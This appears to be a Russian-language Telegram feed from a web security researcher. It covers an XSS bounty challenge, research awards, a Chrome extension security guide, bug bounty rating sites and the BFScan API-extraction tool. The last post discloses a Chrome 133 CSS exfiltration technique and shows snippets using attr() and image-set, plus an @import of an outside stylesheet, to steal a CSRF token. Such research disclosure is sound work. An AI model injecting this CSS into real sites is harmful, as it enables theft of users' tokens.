С новым годом господа!
В этом году решил не проводить черту того чего сделал и не сделал за год.
Зато решил сделать подарок сообществу - 1337 USDC
Первый кто получит XSS без UI на https://tasks.neplox.security/new-year-2025/ сможет забрать эти деньги
P.S.
Решение без UI - я перехожу по ссылке и вижу alert от task.neplox.security
При загрузке проищошло пару неприятных случаев, так что таск перезалит

Первым решившим таск стал terjanq из компании Google
Решение было unintended, баунти он не взял
Таск обновлен, у вас есть все шансы.

Bounty забрал laytonctf, с чем его я поздравляю

Одна из частей intended решения довольна малоизвестная техника
С строгим CSP можно перехватывать клики при помощи noscript set

Portswigger выпустили голосование за топ ресерчей 2024 года.
Там номинированы помимо прочего 2 моих статьи
CVE-2023-5480: Chrome new XSS Vector
Old new email attacks
Так же советую обратить внимание на Exploring the DOMPurify library: Bypasses and Fixes от Kévin Mizu
Ну и в целом огромное количество материала, многое могли пропустить, так что читаем и голосуем!

Читать и голосовать тут.

В 2024 году я потратил много времени на изучение безопасности расширений
К сожалению в интернете не было единого ресурса по безопасности расширений Chrome.
Поэтому я его сделал!
На данный момент содержит самые используемые мною техники, некоторые из них кажется не применялись до меня.
Так же ресурс содержит базовое введение в безопасность расширений и их структуру.
Помимо прочего так же буду заливать туда баги связанные с extension в самом Chromium, первый мини врайтап на мою CVE-2024-10229.
Make Chrome Extension Safe Again!
https://extensions.neplox.security/

Проиграл, но остальные доклады тоже интересные!
https://portswigger.net/research/top-10-web-hacking-techniques-of-2024

Microsoft немного подбодрили и пригласили в США, к сожалению из-за плотного графика не успею заскочить
Но очень приятно

Небольшой witeup на мой 0day в casdoor
https://blog.slonser.info/posts/why-protocol-matters/

今日は日本でパフォーマンスをしました。 かっこよかったです
Выступили сегодня в Токио на SECCON, было круто

Гугл выпустили наконец статистику по тому году
https://security.googleblog.com/2025/03/vulnerability-reward-program-2024-in.html
12 миллионов долларов выплат за год выглядит очень сильно

To be Continued

Про рейтинги платформ
Немного небольшой поток мыслей о площадках с рейтингами багбаунти платформ.
Почти синхронно вышли 2 площадки
- https://hackadvisor.io/programs
- https://eh.su/rating
Основная идея довольно простая - сделать более прозрачным опыт других людей на конкретной программе, чтобы можно было упростить процесс выбора.


Из 2 платформ лично более привлекательной мне кажется hackadvisor.io, по следующим причинам:
1. eh.su пока немного багованная в плане интерфейса ( Да и сам интерфейс не особо приятный лично для меня )
2. eh.su содержит только отечественные платформы ( Не понятно зачем мне условно заходить на 2 сайта, если могу смотреть все на одном )


А теперь про глобальные проблемы:
Первая и самая большая проблема - предвзятость негативного опыта. Формируя коротко - это эффект заключающийся в том, что люди чаще склонны уделять больше внимания именно негативу. Подумайте сами, с какой вероятностью в случае обычного триажа ( то есть все было и не плохо и не хорошо, а просто нормально ), вы зайдете на какой-то отдельный сайт написать отзыв? Думаю на самом деле вероятность крайне низка. В случае с простой оценкой вида лайк/дизлайк это работает ещё нормально, но в случае с развернутыми текстовыми отзывами, может получиться перекос который не отражает реальное положение дел.

Вторая проблема - это отсутствие хоть какой либо верификации хакера (То есть нельзя проверить реально ли ты сдавал что-то этой компании и как давно )

Третья проблема (которую думаю не признают многие). В спорах хакеров и триажеров очень часто не правы хакеры. Я сам не являюсь триажером (к счастью), поэтому не могу знать насколько глубака кроличья нора. Был только по одну сторону баррикад и имею опыт неадекватного триажа своих багов (вспомните хотя бы случай с майкрософт)
Однако за последние пол года мне писали довольно много людей с просьбой помочь с XSS, и иногда с тем чтобы помочь объяснить что-то трижерам. И очень часто я понимал, что на самом деле неправ хакер, а не команда триажа.
Ситуации делятся на 2 типа:
- Хакер обладает плохой технической базой, и например пытается сдать XSS на санбоксированном домене (При этом проигрывает на этапе коммуникации и не понимает, что хочет довести ему вендор)
- Люди не читают правила программ, очень часто видел что люди сдают в домены вне скоупа, или импакты вне скоупа. И тут нужно напомнить, что вендор сам вправе распоряжаться своими деньгами как хочет и строить свою матрицу рисков, хоть с RCE за 100$.
Кажется это может породить проблему, что вокруг некоторых программ может создаться негативный фон, просто потому что люди не умеют читать правила / сдают непонятно что, а потом обижаются.

Четвертая проблема, которая пока не очень релевантна. Нет функционала просмотра отзывов за период. Типичная ситуация, когда сменилась триаж команда и стало крайне лучше/хуже. В текущих реалиях обоих сайтов - будет немного неудобно трекать это через рейтинг.

Как решить первую проблему я не знаю. Но для уменьшения проблем 2 и 3 кажется платформам стоит задуматься о верификации хакеров. Сделать это довольно просто, на момент проверки заставляешь пользователя в личном аккаунте в описании на платорме указать что-то вида hackadvisor_verification: code. (Такая реализована на hackadvisory, на eh.su пока нет) И потом можно поставить лимит, ограничивающий людей с низкой репутацией на платформе от написания отзывов.

Подводя итоги, мотивы - здравые, реализация пока не очень. Время покажет взлетит ли вообще идея или проекты будут заброшены уже через год, пока на платформах слишком мало отзывов, поэтому они слабо выполняют свои функции

Изучая документацию jadx наткнулся на упоминание, что его можно подключить как библиотеку в свое Java приложение. И эта идея настолько понравилась, что в итоге вылилась в небольшой комбайн, который удобно использовать для первоначальной обработки JAR/WAR/APK приложений при анализе защищенности.

https://github.com/BlackFan/BFScan

BFScan анализирует строковые константы в Java-классах и ресурсах приложения для поиска строк, похожих на URL, пути или захардкоженные секреты.
А также формирует сырые HTTP запросы и OpenAPI спецификацию на основе конфигов, аннотаций методов и классов. При этом поддерживаются как клиентские библиотеки (например, Retrofit), используемые в APK для взаимодействия с бэкендом, так и серверные технологии, такие как Spring-аннотации. Что значительно облегчает тестирование API, когда тело HTTP запроса необходимо сформировать из десятка вложенных классов.

Рассмотрим пример работы утилиты с классом, использующим Spring-аннотации.

@RestController
@RequestMapping("/api")
public class UserController {

    @PostMapping("createUser")
    public String create(@RequestParam Optional<String> someParamName, @RequestBody User user) {
        return "response";
    }

В случае, если обрабатываемое приложение использует поддерживаемую библиотеку, утилита сгенерирует файл, содержащий все HTTP запросы, поддерживаемые приложением.

POST /api/createUser?someParamName=value HTTP/1.1
Host: localhost
Connection: close
Content-Type: application/json

{
  "name": "name",
  "age": 1
}

Приложение удобно использовать как для клиентских приложений, когда вы анализируете API мобильного приложения. Так и в случае, если вы получили скомпилированный JAR/WAR от серверного приложения, для поиска в нем захардкоженных секретов или дальнейшего анализа API эндпоинтов, которое оно обрабатывает.

Если приложение обфусцировано, что часто бывает с APK, утилита проанализирует все аннотации и, если они похожи на типичное объявление API эндпоинтов, построит HTTP запросы на основе них. В случае, если данная функциональность сработала неправильно, используя jadx вы можно легко сформировать mapping-файлы для переименования обфусцированных классов и корректного формирования HTTP-запросов.

Apple пока-что гордо занимают первое место с конца в плане коммуникаций с ресерчером
Узнал что мой баг был пофикшен просто из Apple security releases, никакой весточки не прислали ни с просьбой верифицировать фикс, ни о том что фикс вышел, мда...

Пост не по теме канала, но то что мне показалось очень важным
Есть такой человек - Андрей Викторович Столяров
Для тех кто не знал или забыл - он автор наверное одних из лучших книг по программированию на русском языке
Будучи ещё в школе я с радостью прочитал его книги
Сейчас узнал, что в потоке информационного шума пропустил очень важную новость - у него, к сожалению, обнаружили рак...
http://stolyarov.info/node/429

Пост я делаю не с целью обратить внимания или что-то вроде такого, а просто чтобы если кто-то вдруг как и я читал его книги (которые всегда были в бесплатном доступе) - не упустил сказать спасибо ему за все монетой.

Поспикал немного в Сеуле

Спасибо Metamask за упоминание в последнем своем релизе
https://metamask.io/news/metamask-security-report

Вчера как обычно сделал обычный пост в соц сети Илона Маска, который довольно сильно разошелся. Поэтому для тех кто читает только мой тг повторю тут.

Думаю многие знакомы с CSS exfiltration, а если нет можете прочитать статью 2 летней давности на portswigger
Основная идея тогда заключалась в том, чтобы с помощью CSS селекторов брутфорсить атрибуты тегов:

input[value^="a"] {
  --starts-with-a:url(/startsWithA);
}

Например так можно украсть CSRF токен, однако атака довольно нестабильная, медленная и тд. Довольно плохо реализуема.

Однако я обнаружил, что начиная с Chrome 133 произошло важное изменение в функции CSS attr, раньше она могла использоваться только с content property, теперь же вы можете использовать её вместе с переменными CSS (https://developer.chrome.com/blog/advanced-attr):

form {
    --val:  attr(csrf-token);
}

--val будет содержать содержать значение атрибута csrf-token
Однако мы не можем использовать такое внутри url:

form {
    --val:  attr(csrf-token);
    background: url(var(--val)); /* Correct */
}

Браузер просто проигнорирует такой property как неверный
Однако на помощь опять спешат новые стандарты CSS, чтобы добиться успеха достаточно использовать image-set

form {
    --val:  attr(csrf-token);
    background: image-set(var(--val)); /* Correct */
}

После чего просто сохраняете стиль с кражей нужного поля (например атрибута value у тега input с именем csrf-token)
И делаете @import с атакуемой страницы :

 @import url(https://pocs.neplox.security/css-2025-exfiltration.css);

После чего, как можно увидеть на скриншоте, через один запрос вы получите полное значение атрибута тега

Доклад услышал Токио и Сеул
Теперь можно с радостью объявить, что его в самой новой версии услышит Москва на Positive Hack Days 22 мая.